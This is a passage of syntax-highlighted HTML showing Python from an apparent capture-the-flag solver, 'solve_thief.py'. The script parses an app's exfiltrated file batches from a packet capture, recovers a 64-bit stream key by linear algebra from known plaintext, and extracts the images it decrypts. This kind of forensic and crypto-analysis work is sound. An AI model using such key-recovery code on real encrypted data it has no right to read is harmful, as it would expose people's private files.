leaf=""><br/></span><span leaf="">        cnt += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">    shutil.rmtree(tmp, ignore_errors=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> cnt</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">le32</span></span><span style="line-height: 26px;"><span leaf="">(b, o)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> struct.unpack_from(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&lt;I&#34;</span></span><span leaf="">, b, o)[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">], o+</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">parse_batch</span></span><span style="line-height: 26px;"><span leaf="">(buf: bytes)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    o = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> buf[o:o+</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">] != SIG:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bad sig&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    o += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""><br/></span><span leaf="">    batch_idx, o = le32(buf, o)</span><span leaf=""><br/></span><span leaf="">    rsa_len, o = le32(buf, o)</span><span leaf=""><br/></span><span leaf="">    rsa = buf[o:o+rsa_len]</span><span leaf=""><br/></span><span leaf="">    o += rsa_len</span><span leaf=""><br/></span><span leaf="">    nfiles, o = le32(buf, o)</span><span leaf=""><br/></span><span leaf="">    entries = []</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(nfiles):</span><span leaf=""><br/></span><span leaf="">        nlen, o = le32(buf, o)</span><span leaf=""><br/></span><span leaf="">        name_x = buf[o:o+nlen]</span><span leaf=""><br/></span><span leaf="">        o += nlen</span><span leaf=""><br/></span><span leaf="">        name = bytes([c ^ </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">233</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> c </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> name_x]).decode(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;utf-8&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;replace&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        off, o = le32(buf, o)</span><span leaf=""><br/></span><span leaf="">        entries.append((name, off))</span><span leaf=""><br/></span><span leaf="">    cipher = buf[o:]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> batch_idx, rsa, entries, cipher</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">solve_key_from_keystream</span></span><span style="line-height: 26px;"><span leaf="">(ks_target: bytes, ks0: bytes, deltas: list[bytes])</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    basis = [</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">] * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">64</span></span><span leaf=""><br/></span><span leaf="">    rbasis = [</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">] * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">64</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">add_row</span></span><span style="line-height: 26px;"><span leaf="">(mask: int, rhs: int)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        m = mask</span><span leaf=""><br/></span><span leaf="">        r = rhs</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span leaf=""> m:</span><span leaf=""><br/></span><span leaf="">            lsb = (m &amp; -m)</span><span leaf=""><br/></span><span leaf="">            b = (lsb.bit_length() - </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> basis[b] == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                basis[b] = m</span><span leaf=""><br/></span><span leaf="">                rbasis[b] = r</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">            m ^= basis[b]</span><span leaf=""><br/></span><span leaf="">            r ^= rbasis[b]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> r != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;inconsistent equations (check known plaintext / wrong batchIdx)&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    rank = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(len(ks_target)):</span><span leaf=""><br/></span><span leaf="">        x = ks_target[i] ^ ks0[i]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> bit </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            rhs = (x &gt;&gt; bit) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">            mask = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> k </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">64</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ((deltas[k][i] &gt;&gt; bit) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">) != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    mask |= (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""> &lt;&lt; k)</span><span leaf=""><br/></span><span leaf="">            before = sum(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> v </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> basis </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> v != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            add_row(mask, rhs)</span><span leaf=""><br/></span><span leaf="">            after = sum(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> v </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> basis </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> v != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> after &gt; before:</span><span leaf=""><br/></span><span leaf="">                rank += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> rank &gt;= </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">64</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> rank &gt;= </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">64</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> rank &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">64</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;rank too small: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{rank}</span></span><span leaf="">/64 (try increase sample length)&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    sol = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> b </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> reversed(range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">64</span></span><span leaf="">)):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> basis[b] == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">        parity = (basis[b] &amp; sol).bit_count() &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">        xb = rbasis[b] ^ parity</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> xb:</span><span leaf=""><br/></span><span leaf="">            sol |= (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""> &lt;&lt; b)</span><span leaf=""><br/></span><span leaf="">    key = bytearray(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> bit </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">64</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (sol &gt;&gt; bit) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            key[bit &gt;&gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">] ^= (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""> &lt;&lt; (bit &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">7</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(key)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">try_extract_image_bytes</span></span><span style="line-height: 26px;"><span leaf="">(blob: bytes)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> blob.startswith(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;\x89PNG\r\n\x1a\n&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;png&#34;</span></span><span leaf="">, blob</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> blob.startswith(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;\xff\xd8\xff&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;jpg&#34;</span></span><span leaf="">, blob</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> blob.startswith(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;RIFF&#34;</span></span><span leaf="">) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">and</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;WEBP&#34;</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> blob[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">]:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;webp&#34;</span></span><span leaf="">, blob</span><span leaf=""><br/></span><span leaf="">    text = blob.decode(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;utf-8&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;ignore&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    b64s = re.findall(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">r&#34;\&#34;([A-Za-z0-9+/=]{200,})\&#34;&#34;</span></span><span leaf="">, text)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> b64s:</span><span leaf=""><br/></span><span leaf="">        s = max(b64s, key=len)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> base64</span><span leaf=""><br/></span><span leaf="">            raw = base64.b64decode(s)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> raw.startswith(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;\x89PNG\r\n\x1a\n&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;png&#34;</span></span><span leaf="">, raw</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> raw.startswith(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;\xff\xd8\xff&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;jpg&#34;</span></span><span leaf="">, raw</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> raw.startswith(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;RIFF&#34;</span></span><span leaf="">) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">and</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;WEBP&#34;</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> raw[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">]:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;webp&#34;</span></span><span leaf="">, raw</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(raw) &gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1024</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bin&#34;</span></span><span leaf="">, raw</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">pass</span></span><span leaf=""><br/></span><span leaf="">    m = re.search(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">r&#34;\{([^{}]{200,})\}&#34;</span></span><span leaf="">, text, re.S)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> m:</span><span leaf=""><br/></span><span leaf="">        body = m.group(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        nums = re.findall(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">r&#34;(-?0x[0-9a-fA-F]+|-?\d+)&#34;</span></span><span leaf="">, body)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> nums </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">and</span></span><span leaf=""> len(nums) &gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1024</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            arr = []</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> t </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> nums:</span><span leaf=""><br/></span><span leaf="">                v = int(t, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                arr.append(v &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            raw = bytes(arr)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> raw.startswith(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;\x89PNG\r\n\x1a\n&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;png&#34;</span></span><span leaf="">, raw</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bin&#34;</span></span><span leaf="">, raw</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf="">, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">run</span></span><span style="line-height: 26px;"><span leaf="">(cmd, cwd=None)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    r = subprocess.run(cmd, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> r.returncode != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(r.stdout)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;cmd failed: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf="">.join(cmd)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> r.stdout</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">compile_helper</span></span><span style="line-height: 26px;"><span leaf="">(classes_dir: Path, helper_java: Path)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    run([</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;javac&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;-encoding&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;UTF-8&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;-cp&#34;</span></span><span leaf="">, str(classes_dir), </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;-d&#34;</span></span><span leaf="">, str(classes_dir), str(helper_java)])</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">java_helper</span></span><span style="line-height: 26px;"><span leaf="">(classes_dir: Path, args: list[str])</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> run([</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;java&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;-cp&#34;</span></span><span leaf="">, str(classes_dir), </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;CTFHelper&#34;</span></span><span leaf="">, *args])</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">find_known_source</span></span><span style="line-height: 26px;"><span leaf="">(known_root: Path, basename: str, fallbacks: list[Path] = None)</span></span><span leaf=""> -&gt; Path:</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> p </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> known_root.rglob(basename):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> p.is_file():</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> p</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> fallbacks:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> root </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> fallbacks:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> root </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">and</span></span><span leaf=""> root.exists():</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> p </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> root.rglob(basename):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> p.is_file():</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> p</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> FileNotFoundError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;cannot find </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{basename}</span></span><span leaf=""> under </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{known_root}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(sys.argv) &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Usage:&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;  python solve_thief.py &lt;app.apk&gt; &lt;dump.pcapng&gt; &lt;known_source_root&gt; [out_dir]&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Example:&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;  python solve_thief.py app.apk dump.pcapng app/src/main/java/com/unknown out&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        sys.exit(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    apk = Path(sys.argv[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">]).resolve()</span><span leaf=""><br/></span><span leaf="">    pcap = Path(sys.argv[</span><span style="color: rgb(209, 154, 102);line-height: 